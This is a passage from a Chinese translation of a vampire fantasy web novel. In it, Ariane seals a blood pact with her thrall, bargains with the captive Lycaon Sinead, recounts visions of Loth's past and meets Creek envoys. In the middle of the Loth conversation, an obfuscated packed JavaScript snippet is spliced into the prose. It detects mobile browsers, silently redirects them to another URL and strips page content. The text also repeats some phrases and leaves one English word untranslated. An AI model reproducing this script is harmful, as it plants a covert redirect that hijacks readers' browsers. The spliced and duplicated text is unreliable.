我们的精华与血液相连，所以从同一个俘虏身上只能提取出有限的长生不老药，而且之后还得让这个俘虏活着。我的族人现在不是被圈养起来，就是像我一样四处逃亡。” 如果他说的是真的，而我也相信他，那么希梅纳为了救我，放弃了一个无比珍贵的东西。我用来逃跑的血，本可以在战斗中用来救她的命！我对她的感激之情愈发深厚。 她为什么没提过这件事呢？嗯，我并不惊讶我的朋友会试图隐瞒她做出的巨大牺牲，但或许还有其他原因。吸血鬼们可能想隐瞒这种强大秘密武器的存在。我得小心行事。 “我不知道你有什么打算，”西尼德说，“所以我只能任由一个夜行动物摆布……” 他就这样说了一会儿，我也了解到了一些有趣的事情。他的种族叫利卡恩人，他们是强大的魔法使用者。在他们的家乡维度，他们能像伟大的画家调配色彩一样操控现实的本质。但在这儿，他们只能施展一些小把戏和幻术。我还了解到，西尼德默认是他族人的首领，是这里最强大的利卡恩人，而且他还有个副手之类的角色。最后我发现，西尼德简直就是个十足的戏精。 说实话，我很佩服。 他滔滔不绝地大声说着，一会儿哀叹，一会儿慷慨激昂地发表长篇大论。有些话甚至还押韵！他不停地说着，诅咒着这个世界、这里的居民、他的命运、月亮和星星，还有邻居家的狗，把所有人都骂了个遍。对我来说最糟糕的是，他甚至都没尝试过逃跑。我们走在外面黑暗的路上，又是晚上，他没有被绑着，而我们显然又累又伤，可他连偷把刀的想法都没有！要是我，至少会尝试做点什么…… 等等，他会不会一直在耍我？ 我惊慌地转过身，但没有，他还靠在道尔顿的肩膀上，望着远处，就像歌剧中的主角一样。风停的时候，我还能闻到他的气味。 我觉得，如果他的族人有他一半爱演戏，那被吸血鬼利用也就不足为奇了。我们都有一个共同点：冷酷无情。 我们沿着小路慢慢下山，我继续思考着。有宾格尔给我带路，我可以不用再留意周围的环境，也不用听西尼德没完没了的抱怨。 他显然就是阿伯内西工坊笔记里提到的“源头”。如果我没理解错的话，那个邪教领袖一直在用他的血，试图炼制长生不老药。 或许这就是我之前感觉哪里不对劲的原因。 利卡恩人的血很珍贵。不能被一个既没天赋又没经验的笨蛋浪费。几个潦草的符号远远不足以达到炼制长生不老药所需的精通程度。我还记得我吸食主人的血，变成吸血鬼时，在幻象里看到的那个女人。她在鞣制过的人皮上写着什么。那是一个复杂的配方，一件艺术品，远超我此后见过的任何东西，就连在洛斯的工坊里都没见过。 这个阿伯内西就算活三辈子也不可能实现他的目标。他只是调配出了一种不纯的混合物，效果短暂，还让人失去了自由意志。 他居然天真地以为，我们救的这个弱不禁风、可怜兮兮的家伙能成为强大的力量源泉。他在这里又弱又没用。他根本不够格，绝对不够。要从根本不够。要从根本上改变一个人，需要不可思议的力量，甚至需要神的力量。 说真的，整个计划从一开始就注定失败。想到至少我们清理了自己这片“后院”，我就感到一丝安慰。 哦，对了，我们还救了一些人和那个奇怪的外星生物。我想这也算是成功了。 “……那么，告诉我，黑暗之子，你为什么这样玩弄我？我现在自由了，等待我的会是什么可怕的命运……” 西尼德的抱怨已经到了需要我回应的程度。好吧。 “我还没决定。” “什么？” “我说，我还没做出选择。现在请别打扰我，我厌倦了这场对话。” 今天我实在没心情应付这个人。我不渴，只是筋疲力尽，而且他的生死取决于一堆我在好好休息之前都不想考虑的承诺和规则。 很快我们又回到了山洞。我走向洛斯，他还在忙着照顾伤员。看起来有几个人恐怕撑不过去了。 “道尔顿？” “是的，女主人？” “请照顾好我，我需要闭会儿眼休息一下。” “好的，女主人。” 没错，还有很多事要做。我只是需要一小会儿休息。 26. 沐浴、幻象与血之协议 我在熟悉的黑暗中睁开双眼，身上那件破旧的女仆装还没脱下，凝结的血块黏在皮肤上，难受极了，刺鼻的味道更是让我皱起眉头。 帐篷外，我能听到两个人沉稳的心跳声。 我推开石棺，映入眼帘的是洛斯那宽敞帐篷的顶篷。和六个月前一样，帐篷沐浴在柔和的蓝光之中。 “晚上好。” “晚上好，姑娘，快，拿着这个！”洛斯递给我一个带盖的银质酒杯。新鲜血液的气息瞬间勾起了我的渴望。我揭开杯盖，一饮而尽。 这血的味道比我平常喝的甜多了。毫无疑问，这是人血，还带着一丝特别的味道。一种奇异的力量在这血液的精妙生命力中闪现，带着些许狡黠，却并无恶意。这是我自初拥以来尝过的最上乘的人血。 “是宾格尔的血？” “是的，他自愿的。他说他想为解除诅咒的药剂出份力。看来这对他来说意义重大。”洛斯边说，边喝完了第二个酒杯里的血。 “洛斯……” “是我的过错让你受了伤，所以今晚我诚心把我的血给你。就当是放一天假，或者一夜假，随便怎么说都行。” 他喝完的时候，我站起身来，打量着自己。我已经痊愈了，但还是很虚弱。今晚最好别和任何人动手。 “我接受你的好意。谢谢你，洛斯。” 我喝下了第二杯血，那是满满的一杯钢铁、山脉与力量的象征。虽说远不及昨天喝的血那般强劲，但也十分 potent 了。 “谢谢你，洛斯！味道好极了！” “那是自然。好了，姑娘，我们得谈谈你的第一个追随者。” “我的附庸，道尔顿。” “对。那孩子和我达成了协议。我需要有人帮忙打扫花园，跑跑腿，我校准步枪的时候帮我看着点。他可以胜任。我还希望他能让你的狩猎更轻松些，把事情都处理得顺顺当当。” 我转向道尔顿。 “这是个非常好的提议，女主人，我在别处可从来不敢奢望能有这么好的职位。” “很好，那就这么定了？” “是的，就差你，呃，可以说把这协议敲定一下……” “什……什么！？” “……通过喝他的血。” “当然！哈哈，没错，这是自然。” 洛斯心领神会地对我笑了笑，然后离开了帐篷。 “那么……”道尔顿说。 他似乎把气氛弄得有些尴尬。这不过是协议的一部分罢了！虽说我们一周前才认识，但也得完成这个必要的步骤…… 我走向道尔顿，他顺从地歪过脑袋，我抱住了他。 他身上有肥皂、阳光和酒的味道。倒也不难闻。我舔了舔他的颈动脉，缓缓咬了下去。 啊……这种感觉很奇妙。 我赶紧舔舐伤口，然后放开他。 “女主人？” “没什么！现在，我真的得去洗个澡了。有水吗？” “几百码外有条河。我可以去打些水来给你烧热了洗澡？” “傻附庸！那得花老长时间了！我直接去那儿就行。我不需要热水。冷水能帮我清醒清醒！还能锻炼意志呢！” 我走出帐篷，立刻碰到了洛斯，他好像在等什么。 “阿丽亚娜？” “我要去洗澡！” “我们还有些别的事要商量……” “洗完澡再说！现在，河在哪儿呢？” “你……要去河里洗澡？” “当然不是！你当我是野蛮人啊？等等……哦哦哦，当然了，谢谢你，洛斯！” 我真傻，就这么出去了。我回到帐篷里，把我最爱的茉莉花皂和干净衣服堆在铜盆里，然后把盆拖了出去。 “好了，我走啦！” “阿丽……” “怎么了？” “……河在另一边。” “哦哦哦，谢谢，回头见，洛斯！” 我拖着盆子在灌木丛中艰难前行，中途只摔了两次，还撞到了一棵树。真不知道是谁把那棵松树栽在路中间，太蠢了！要是让我抓到那个捣蛋鬼！哼。 河水很浅，我只需要把盆子拖到河边，把东西拿出来，把盆子装满水，然后把它安置在一个幽静的小树林里。我跳进去，开始脱掉那件破制服和剥落的红色血块。啊，在这儿真是太舒服了。我可以享受月光、河水、泡泡肥皂，还有微风拂过皮肤的触感。繁星照亮了夜空，而“寂静守望者”那柔和的光芒则证明着它永恒的守护。色彩与声音交织成一曲既复杂又充满生机的混沌交响乐。这夜晚如此美丽，且只属于我。 我尽情享受着这一刻，回想起昨天的事。 洛斯说得对，我们有很多事要商量。我得告诉他我看到的幻象。他是我的朋友，有权知道我所见的一切。 昨天经历的事情真的很奇特，我似乎获得了一种不一样的体验。那是一种难以言喻的感觉，就像打开了一扇从未见过的门。 我突然停下，意识到自己的思绪有些飘远了。我在浴缸里往下滑了滑，试图让自己更放松一些。 我一直以为自己对很多事情都有了解，但昨天的经历让我明白，还有很多未知等待我去探索。 我放下手，静静地享受着这片刻的宁静。 过了一会儿，我穿好衣服，头上裹着毛巾，拖着澡盆，往营地走去。 嗯，这既让人放松又让我想了很多。过去几天的许多压力都从我的肩头消散了。 虽说如此，有些事情还是自己知道就好。 没过多久，我就回到了马车那里。我只摔了一跤，又有人在路中间种了一棵该死的松树！到底是谁会干这种事啊？ 三个人在小空地上等着，不过我能看到周围还有其他篝火，也能听到远处传来的声响。我向他们挥了挥手，结果马上就脸朝下摔了一跤。 呸，这森林里的地面太不平整了！简直难以置信！ “她怎么了？”我听到有人小声说。 “她喝得烂醉如泥。”我的朋友回答道。 “斯科拉格的洛斯！我不允许你这么说！” “说英语，亲爱的。” “那我就明说了，我觉得你这毫无根据的指责……太离谱了！” “抱歉，现在我们得和我们这个欢乐小团体的最新成员达成协议。” “谁？” “我！”新来的那个人怒气冲冲地回答道。 我走近些。这是个男性。 阿丽亚娜，观察入微啊！ 不过这对我也没多大帮助。 “呃……” 我转向道尔顿，他碰了碰自己的鼻子。等等，是味道有什么问题吗？ …… 好香啊！多美妙的香味啊！啊，我想起来了！ “嗯……” 我费力地皱起脸。 “嗯嗯嗯嗯嗯……” 其他人似乎都一脸茫然。哦，等着瞧吧。 “嗯嗯嗯啊！西诺阿德！” “是西尼德！西尼德，你这个无礼的丫头！” 道尔顿和洛斯都从这个新来的人身边往后退了一步。 “你说什么？”我微笑着说。肯定是我听错了吧？自从我们见面以来，我一直都很有耐心、很有礼貌啊。 “你对目前受到的待遇有意见吗？” 西尼德左右看了看，意识到其他人都不愿意帮他摆脱现在的困境。 “我想是我太着急了。” “没关系，塞内拉德，我把你的名字念错是我的不对。我保证以后不会再念错了。” 西尼德怒目而视，但什么也没说。真是个脾气暴躁的家伙。 “我记得我们要讨论他的命运。” “哦，对！别再分心了。那么，嗯。我们该怎么办呢？我想找个时间喝他的血。” “呃，我希望你别这么做。” “嗯！” 我用食指轻敲着下巴。嗯，这听起来确实是个合理的请求。他对我没什么威胁，而且我现在也很饱。啊，可他既有魔力又美味……该怎么办呢？ “除非你把他当作你的朋友，否则我可以喝他的血，但不会杀了他。我们救了这个人，我觉得他欠我们的。而且，不从他身上获取些力量我可就是个傻瓜了。我能得到很多。” “问题就在这儿，姑娘，我和西尼德谈过了，我觉得要是你咬他，你会把他的血吸干，我们根本没法把你拉开。” “是这样吗？” “是的，”西尼德本人说道，“二十年前我来到这片土地，寻找我失散的族人。可惜，一开始我没能隐藏好自己的身份，关于我的传闻引来了可恶的罗兰家族的夜行者！我在他们的力量面前毫无还手之力，他们把我抓走，拖到了阿登森林深处的一个藏身之处。在那儿，我遇到了其他和我一样的人。我得知我们被无情地追捕，而你们一旦尝到我们的血就会发疯。一次吸血几乎总是致命的，所以我们的血被小心翼翼地采集起来，用于制作能让人一夜拥有无穷力量的药剂。一个吸食了我们血液的吸血鬼几乎是无敌的。正如我所说，为了制作这种药剂，我们必须活着，而且只要药剂还完好，我们的力量就不会再生。所以每个俘虏都是一种有限但珍贵的资源。我们一直都被严密看守着。 幸运的是，黎明时分我用强大的幻术骗过了那些人类。等他们发现我的欺骗时已经太晚了。我深感遗憾的是，我没能救出其他人，只能独自逃走……” 西尼德的脸上满是愧疚。他把自己的族人丢下了！唉，我也没资格评判他。 “我偷偷上了一艘前往新大陆的船，以为那儿会是个安全的地方，我可以在那儿计划一次大胆的营救行动。但我错了。人类魔法师成功探测到了我的存在，把我抓走了。很快我就被卖给了你们昨天杀掉的那个人。剩下的，你们都知道了。” 这个利卡恩人紧张地舔了舔嘴唇。 “在被这个家族囚禁期间，我学到了很多东西，我愿意用这些信息换取安全通行。” “那你是来请求庇护的吗？” “穆斯泰米克？啊，请求庇护者。是的。” “那就跪下。” 这个男人气得满脸通红。 我不明白他现在为什么这么愤怒。请求庇护者是要下跪的。这是规矩。本来就该这样。我们站着听，请求庇护者跪着说话，如果达成协议，我们就给予帮助。 他为什么这么仇恨呢？ “阿丽……” 我扬起眉毛看向洛斯。 “他的族人被你们的族人奴役。他默认是他们的领袖。向你下跪对他来说……是种羞辱。” “这和我们现在讨论的事情有什么关系？他不是请求庇护者吗？我不是在听吗？” “我明白了……在这种情况下，我请求你看在我的份上，原谅他这次的失礼。就这一次。” “我……” 我不知道该怎么办。我觉得这个提议让我很不舒服。如果不遵守适当的形式，那这对整个事情意味着什么呢？难道我们要像没有荣誉的野兽一样，这么轻易地抛弃传统吗？ “你的脸皮就这么薄，非得要别人崇拜你吗，吸血鬼？”西尼德愤怒地问道。 直到现在一直笼罩着我的那种迷糊状态瞬间消散，取而代之的是冷酷的本能和共情的消失。 我动了。尽管我还很虚弱，但这次我比以往任何时候都动得更快。我的手掐住了他的脖子。 “啊！” “阿丽！请等一下！” “也许形式对我们来说很重要还有另一个原因？也许我们需要它来平衡我们的人性和把你们当作食物的那部分本能？” “阿丽，求你了。求你了！” 我松开了我的受害者，在我做出更过激举动之前转过身去。 “用信息换取安全通行，是这么说的吧？” “是……是的。” 洛斯满脸担忧。这个外星人侮辱了我们的协议。在我看来，这让他离背信弃义者的范畴已经很近了。我真想把他的血吸干，但他显然和洛斯达成了协议，这就意味着我不能喝他的血？真让人困惑。也许我干脆杀了他，一了百了…… 不，我不能这么对洛斯。毕竟昨晚发生了那样的事。 “我要这个，还有他的血。你的反对对我来说没什么意义。你自己也承认可以从他的血液中提炼出药剂，这意味着肯定有安全采集的方法。不尝一口我是不会放他走的。你必须找到安全获取血液的方法，否则我就自己冒险一试。” “阿丽……” “不行！我为了这事流血，还差点丢了性命，一直忍着没吸血，就为了能达成一个妥善的协议。我已经够通情达理了！必须要有鲜血，而且要当场就能喝到，这是协议的一部分。” “我不知道该如何正确采集血液。之前这项工作是由罗兰家族雇佣的人类炼金术士完成的。” “那洛斯可以帮你提取血液，保存在酒杯里，等我醒来就能喝。你不在场的时候，我喝血应该是安全的。” 所有人都沉默了。在这件事上我绝不会让步。不管用什么方式，这血我喝定了。 “好吧，夜行者。这太屈辱了，但你让我别无选择。我同意你的条件。用血液和信息换取安全通行。” 这个讨厌的男人气呼呼地走了。我盯着他的背影，随后把注意力转回洛斯身上。 “我们得谈谈。” 他指了指帐篷，我们走了进去。我站起身来回踱步，而他则像个牧师似的坐在唯一的小床上。我不知道该从何说起。这种大事，怎么跟朋友开口呢？ “你为什么要救西尼德呢？你可不是什么心软的人。” “哦？你觉得我救这些超自然生物太慷慨了？我该更冷酷些吗？”他尖锐地反问。 我停下脚步。 “对不起，洛斯，我想我这话活该被怼。” 出乎我意料的是，他笑了起来。 “原谅你了，有什么想说的就直说吧。” “啊……我该怎么说呢……” 我向他解释我看到了幻象，并描述了第一个幻象，那个战场。 “是啊，我记得，记得很清楚。那是我第一次真正的战斗。就是在那儿，我的老叔叔斯特鲁姆不小心摔在铁砧上，得了个‘碎蛋者’的外号。” 我没理会这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15054933|162875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个有趣的小插曲，接着跟他讲那场宴会。我详细描述了那个灰胡子男人。 “对，那是我父亲。没错。他当时可骄傲了。宴会上是不是还有个金发女人？” “嗯，有，她，呃，一直有一些举动……” “好了，好了。你赢了。接着说吧。” 我犹豫了一下，舔了舔嘴唇。我确实应该对他坦诚相待。我不想隐瞒这件事。那些记忆属于他。 “你第一次见到阿格娜。她把粪肥扔到了斯凯吉的脸上。” 洛斯审视着我。 “你怎么知道那是斯凯吉？” “我感受到了你当时的感受，了解到了你当时的想法。在我感知到的短暂瞬间里，你可没想着那个金发女人。” “我明白了。”他刻意停顿了一下。他知道接下来我要说的，才是我觉得尴尬的原因。 “你和阿格娜相处的时候，我就像变成了你。” 这个爆料让他陷入了震惊的沉默。过了很久，洛斯才再次开口，久到外面的篝火都渐渐熄灭了。久到道尔顿在我旁边的帐篷里睡着了。 “我不太记得她的脸了。我努力想把她的样子刻在心里，可怎么都不像。我发现，用金属来刻画爱人的面容，效果太差了。我始终没能做出我想要的样子。总感觉那是死的，是对无法留住之物的滑稽模仿。就像沙子从我的指缝间流走，你懂吗？” 洛斯微微抬起头看着我。他的眼神里有某种东西，我在主人身上见过，在穆尔身上也见过，甚至在某种程度上，在希梅娜身上也见过。那是历经岁月的沧桑。在我面前的，是一个古老的存在，他的生命比一些王朝还要长久。 “我把所有那些画像都毁了，现在我后悔了。几个世纪过去，记忆变得模糊。哪怕只是她的一点影子，也能帮我回忆起她。” 原来，头脑会渐渐遗忘，但血液却记得。 洛斯深深地叹了口气。我给了他一些时间，因为我意识到，如果他需要我的意见，他会开口问的。像他这样历经岁月的存在，或许会珍视这些强烈的情感时刻，把它们当作自己还活着的证明。 “还有别的吗？” 我继续讲述后面的事情，洛斯没有发表任何评论。提到他哥哥和妻子的背叛时，他只是苦涩地笑了一下。 “就这些了。” “我明白了。嗯。谢谢你和我分享这些，我很感激。至少可以说，这是一段苦乐参半的回忆。” 犹豫了一会儿，我问出了困扰我好几分钟的问题。洛斯向来直来直去。如果他觉得这个问题不合适，他会告诉我的。 “想问就问吧，姑娘。” “你是怎么知道的“你是怎么知道的！？”我疑惑地问道。 “你想得太入神的时候，会忘记呼吸。人类可能注意不到，但我能察觉。”洛斯笑着解释道。 “啊，这可不是个好习惯，容易被人发现。”我喃喃自语。 “哈哈哈，慢慢来，别再拖延了！有什么问题，一股脑儿倒出来吧！”洛斯爽朗地笑着，试图缓解这略显凝重的气氛。 “好吧。你为什么再也没回去过？”我鼓起勇气，将心中的疑问说了出来。 洛斯像偷腥被抓的猫一样僵住了。 “……我晕船。这里和家乡距离太远了，你懂的？”他试图用一个蹩脚的理由敷衍过去。 “洛斯。”我直直地看着他，语气中带着一丝不容置疑。 “而且，这边有很多项目，总不能就这么撂下不管……”他还在继续找借口。 “洛斯！”我加重了语气。 “我害怕！行了吧，你满意了吧。我当初离开的时候，和家里的关系不太好，而且我在家族里是个重要的战士。回去可能会发生很多不好的事情。”他终于说出了心底的实话。 “那写封信呢？！”我提出了一个建议。 “好主意啊，姑娘，我就把信寄给瑞典凯布讷凯塞山脉里某个长寿矮人部落。邮递员肯定会觉得这事儿特别好笑。”他半开玩笑地回应，话语中却满是无奈。 我没有回应，而是陷入了沉默的思考。这不像我认识的洛斯，但我真的了解他吗？我从没见过他面对无法立刻解决的事情。我也从未体会过真正的爱情。我的朋友失去了他的灵魂伴侣，一个世纪过去了，他都没能从悲痛中走出来。他是在一直逃避现实吗？我该说些什么吗？ “别对我这个老头子太失望，姑娘。事实是，我在乎家乡的族人，也很想念他们。但这也改变不了我被他们利用、被他们操控，最后还被那些自以为能做得更好的人背叛的事实。我付出了很多，如果我回去，他们肯定会要求我付出更多。”洛斯的声音有些低沉，像是在对我诉说，又像是在对自己解释。 我还是没说话。洛斯说的有几分道理，但这都不重要。关键是他因为害怕什么都不做。我想指出来，但也想尊重他此刻划下的界限。 “该死，姑娘，你又摆出那副吸血鬼的表情了。好吧，好吧。我……我承认我还在逃避。我不会回去看他们，但或许可以先写封信。”在我的沉默攻势下，洛斯终于松了口。 我心里明白，有时候沉默比言语更有力量。或许是因为我身为吸血鬼，静止时既不呼吸也不动的特质，让这份沉默更具压迫感。 “这会让你得到解脱，我的朋友，哪怕只是一点点。”我轻声说道，希望我的话能给他一些安慰。 “对。没错。我之前也考虑过，你知道的？”他像是在给自己找补，可我心里清楚，他不过是在自我欺骗罢了。男人有时候就是这么不可思议，总爱逃避内心的真实想法。 是时候换个话题了，我在心里想着。之后得找机会确认一下，他是不是真的在想办法写信。 “我想问，我陷入昏睡之后发生了什么？”我把话题引到了另一件我关心的事情上。 “我们休息了一个小时，然后把所有人都带了下去。宾格尔和我解决了剩下的几个守卫。我们出去的时候，发生了一场……嗯，一场清洗。囚犯和被释放的仆人从他们当中挑出七个人，在街上把他们杀了。事情发生得很突然，而且极其暴力。宾格尔的声音被复仇的暴民淹没了。场面不太好看。”洛斯回忆起当时的场景，脸上露出一丝不忍。 “之后，我们都累垮了。早上，我们开了个会，商量接下来怎么办。宾格尔有效地引导了讨论，只花了一个小时就结束了。有些人决定留下来照看牲畜和农田。离开的人可以拿走一些财物和杂物，去别的地方重新开始，他们现在和我们在一起。我估计大概有十五个人。罗斯也在这儿。她和宾格尔的关系变得很亲密。”他继续说道。 “嗯。”我应了一声，脑海中浮现出罗斯和宾格尔的样子。罗斯既踏实又非常诚实，他们或许是很合适的一对。 我本想问我们接下来的计划，但看着疲惫的洛斯，话到嘴边又咽了回去。虽然我刚醒，但经历了这么多事，也觉得精疲力竭。今晚就先到此为止吧，有些事，明天再说也不迟 。 帐篷外，夜色深沉，偶尔传来几声虫鸣，仿佛在诉说着这个夜晚不为人知的故事。而我们，在这小小的帐篷里，各自怀揣着心事，渐渐进入了梦乡，期待着明天会是新的开始 。 27. 权力、秘密与未知狩猎 我在热烈的讨论声中醒来。我迅速穿上一件深蓝色的铠甲裙，心里琢磨着要不要带上手枪。目前为止，我只听到愤怒的声音，贸然持枪出现可能弊大于利。还是先试试外交手段吧。 我走出帐篷，发现我们身处一座颇具规模的当地城市边缘。一座土制金字塔映入眼帘，它耸立在前方，周围环绕着一圈木屋。放眼望去，山谷中分布着精心打理的农田，几堆篝火给这个地方增添了几分节日氛围。 然而，我们的篝火旁却毫无节日的欢乐。大多数选择加入我们的逃亡者都在我左边的马车围成的圈子里。男人们像哨兵一样站在周围，不见一个女人。声音来自几步之外的人群。火把投下的红色光芒，照亮了我希望只是一场激烈的谈判现场。 一边站着皱着眉头的宾格尔，他是一位在我们解救的人群中颇有威望的老人，还有洛思。只有德弗古尔人看起来还算放松。我能感觉到道尔顿在人群中的某个地方。 另一边是一群非常奇特的人。人数最多的一群穿着轻薄艳丽的衣服，头发上挂着铃铛和珠宝，超大号项链上还垂着镜子碎片。我注意到其中至少有一个欧洲人，还有几个年轻人明显是混血。他们由一对兄妹带领，哥哥身材魁梧，留着小胡子，戴着红色头巾，妹妹则看起来精明干练。 我心想，这个男人的小胡子说不定能和宾格尔的一较高下！难道这就是他们互相瞪视的原因？我一直以为留着大胡子的人之间会有一种兄弟情谊，然而现在看来，他们似乎在争夺主导权。也许他们得先确立等级秩序？男人真是奇怪的生物。 我本想悄悄走到盟友身边，却被当地人群的另一部分人发现了。他们穿着更为朴素的未染色皮衣。 纳肖巴一瘸一拐地从人群中走出来，满面笑容地向我打招呼，我也回以微笑。争论声渐渐平息，所有人的注意力都转向了我。 啊，这可真让人不自在。 “你好，荆棘与饥饿之子。” “你好，纳肖巴。这是怎么回事？” 人群散开，把我也围了进去。纳肖巴的声音落下后，那群穿着艳丽的人反应各异。许多人很警惕，还有几个眼中满是怀疑。那个欧洲人则公然嘲笑，不过这倒没怎么困扰我。我宁愿他把白人当成轻信的野蛮人臆想出来的神话。 “狐族的克里克人对你未经许可穿越他们的土地表示不满。近来白人一直在侵占他们的土地。尽管你杀死了那个亵渎者，为你赢得了不少好感，但现在局势依然紧张。” “那你在这儿做什么？你又不是他们的族人。” “我来这儿是为了确保谈判成功。你杀死的那只鳄鱼并不是唯一在追捕我们的东西，我们又需要你的帮助了。” “在开始之前，我得说清楚，如果你指的是让我屠杀白人村庄，那我可不会干。” “当然不是，荆棘之子，因为这条路拯救不了任何人。啊，不过我们的同伴快没耐心了，所以先听听他们的抱怨和虚张声势吧。”他笑着补充道。 我不记得他以前这么自信。看来过去六个月对他很有帮助。 又是克里克族的男使者挑起了冲突。他对他的同伴们说了一通我猜是尖刻的话，还对着纳肖巴和我疯狂比划。我完全听不懂他的语言，显然这位萨满也听不懂。不过，有个乔克托人越来越激动，脸涨得通红，我猜他是翻译。我注意到，在我收取报酬后选择跟纳肖巴走的一个女人也在这儿，尽管她此刻正异常专注地盯着地面。洛思说得对，我确实给她留下了深刻的印象。 他的长篇大论一直持续到他妹妹抓住他的袖子。两个新来的人从村子里快步向我们走来。我立刻认出其中一个是我从“英勇号”营地解救出来的那个害羞的俘虏。 她现在可一点也不害羞了。一看到我，她就皱起了眉头，然后转向众人。她的发言简短而切中要害。女使者问了她几个问题，她都简短作答。一阵恐惧和惊讶的情绪在人群中蔓延开来，只有一个人例外：那个白人显然不为所动，反而越来越生气。 男首领刚要开口问什么，却被那个矮个子女人毫不留情地打断，然后她头也不回地走了。她的同伴，一位年长的女士，吃力地跟在后面。 我想我的身份已经得到了证实。克里克人群中充满了窃窃私语和议论，我想这是好事。然而，那个穿着当地服装的白人却走上前来，眼看就要惹麻烦了。 我看向洛思，他立刻吸引了宾格尔和那位老人的注意。我的德弗古尔朋友真是个难得的宝贝，这么快就明白我的意思。 这个讨厌的家伙和我对视。我盯着他。 催眠别人一直都很难。除了进食的时候，试图影响别人的想法总是不太靠谱。然而这一次，我感觉到一股拉扯的力量。虽然不太巧妙，但我还是通过暂时建立的联系，把我想传达的信息传递了过去。 停下。 看。 感受。 理解。 畏惧。 周围的世界渐渐模糊，那个男人停住了脚步。我看着他困惑的皱眉变成绝望的领悟，继而转为极度的恐惧。他不由自主地往后退了一步。 联系渐渐消散，就在他的同伴们达成一致的时候，我移开了视线。他们没有和那群欧洲人交流。相反，那个精明的女人和纳肖巴交谈了几句，就消失在了黑暗中。 很快，整个克里克代表团都离开了，包括那个一脸茫然的陌生人。 “一周后，我需要你帮忙狩猎。作为回报，你的人可以畅通无阻地通过。留下来的人也不会受到骚扰。我还需要说服你加入吗？” “你想要什么？” “世界不会在一天之内毁灭，也不会在一天之内得到救赎。我种下拯救的种子，也拔除毁灭的祸根。” “我可称不上救世主。” “堕落王子和你背后的其他人可不这么认为。” “……这并不完全是我的决定。” 萨满悲伤地笑了笑。 “从来都不是。你会帮我吗？我非得求你吗？” “会，会的，我会帮你。一周后。在哪儿？” “我会托梦给你。” 这可真方便。纳肖巴一瘸一拐地走了，他的小队伍其他人立刻跟了上去。不一会儿，就只剩下我们了。 “刚才发生了什么？” 啊，我把宾格尔和那位老人给忘了。我该怎么解释呢？ 一小时后，我和西尼德、洛思站在村子的边缘。 我看得出宾格尔怀疑这位萨满也是考古学家，但我和他用一种“死语言”交流，再加上我在他那里积累的信誉，让这个谎言得以蒙混过关。他甚至提出要陪我参加下一次“考古探险”，我就是这么跟他解释的。直到我保证那会是通宵检查陶器，他才改变了主意。我很感动，但我宁愿去给梅卢西娜洗脚，也不想在没有全部力量的情况下，去追捕纳肖巴的下一个目标。一年经历一次生死边缘就够了，谢谢。 “还是没感觉？” “嗯，他离得老远都闻着诱人，但我感觉挺好的。” “通常要多久才会有反应？” “不到一分钟。” “我明白了。” 有件事明显不对劲，过去一年我已经习惯了它的存在。 那就是饥渴感。 我感觉很好。 它还在，只是稍微得到了满足。就好像我刚刚吃了点东西。 “你能告诉我我们周围有多少人吗？” 我闭上眼睛，专注于心跳声、脚步声和动静。 “我们营地里有十七个人。晾衣架后面有三个哨兵在监视我们。” 我没说最近的一辆马车里有一对男女正在激烈地交欢。听到这个让我很不舒服，感觉自己像在偷窥。 “对，总共二十个人，猜得不错。现在看看那座金字塔，告诉我你看到了什么。” 我转向半英里外的金字塔形状。 “有一扇石门通向里面。有人守卫。” 洛思惊讶地瞪大了眼睛。 “好家伙。你能试着快速移动一下吗？” 我照做了，瞬间移动到他身后。我碰到他肩膀的时候，他短促地叫了一声跳了起来。 “我的天呐，阿里，别这么吓唬我，姑娘，”他气喘吁吁地说，“你知道的，我这把老心脏可受不了。” “感觉比昨天还快。” “是啊，我知道怎么回事了。太不可思议了！阿里，你正在成为一名朝臣。” “什么？你说的朝臣是什么意思？我还以为我还得再当一年雏儿呢！” “嗯……”洛思怀疑地看着西尼德。 “我向你保证，”被冒犯的西尼德反驳道，“我没兴趣把消息透露给你的敌人。如果你还记得的话，他们也是我的敌人。” 我们没说话，因为我们知道他这话没什么用。 “……好吧，我发誓保守秘密。” “行。阿里，你的吞噬者血脉肯定加速了你的成长。你醒来后吸干了多少强大的生物？” 我想了一会儿。西尼德惊恐地倒吸一口凉气。 “你杀了多少生物，夜行者？” “嗯，我完全吸干了两个法师、三只狼人，其中两只是在洛思的帮助下，还有一只吸血鬼。有一个法师、一个受祝福的人类，就是宾格尔，一个强大的吸血鬼朝臣，还有一个几百岁的德弗古尔人自愿给我血喝。” “……是啊，这就说得通了。” “我的天啊！一年就做到了？” “我一直很忙。不管怎样，你是说一年就够了？我还以为这是固定的，就像怀孕一样。” “不是的。康斯坦丁说他只用了一年半。你可能在创造某种记录，不过如果你想有个参照，还得和其他同类比较。当然，我知道这不可能。我猜这已经是在保持理智的前提下最快的速度了。你的主人创造的其他生物成长得快多了，但可以说，它们是被‘喂’大的。” “你是吞噬者的后裔？” 我原以为西尼德会害怕，没想到他若有所思。 “是的。怎么了？” “你的主人在欧洲有点名气。据说每隔一个世纪左右，就会有某个势力因为这样那样的原因试图除掉他。” “愚蠢。” “大家都这么说，没错。还说他总是信守诺言，无论字面意思还是精神内涵。” “你确定吗？他创造我是为了向和他谈判的人施压。” “我从没说他善良，只是说一旦达成协议，他就会遵守。我选择相信他的血脉是纯正的。” “嘶。” “不管你对他什么看法，你流着他的血脉。” 我在西尼德的表情中找不到一丝轻蔑。这不是侮辱，只是他认为重要的一个观察。从他的角度看，所有吸血鬼肯定都同样危险。如果有人要撕开你的喉咙，谁会在乎他们有四颗还是八颗獠牙呢？ “我想也有道理。现在，有人能告诉我到底怎么回事吗？” “我可以告诉你，因为这是我们协议的一部分。你的同伴也可以听。” 西尼德清了清嗓子，开始讲解。 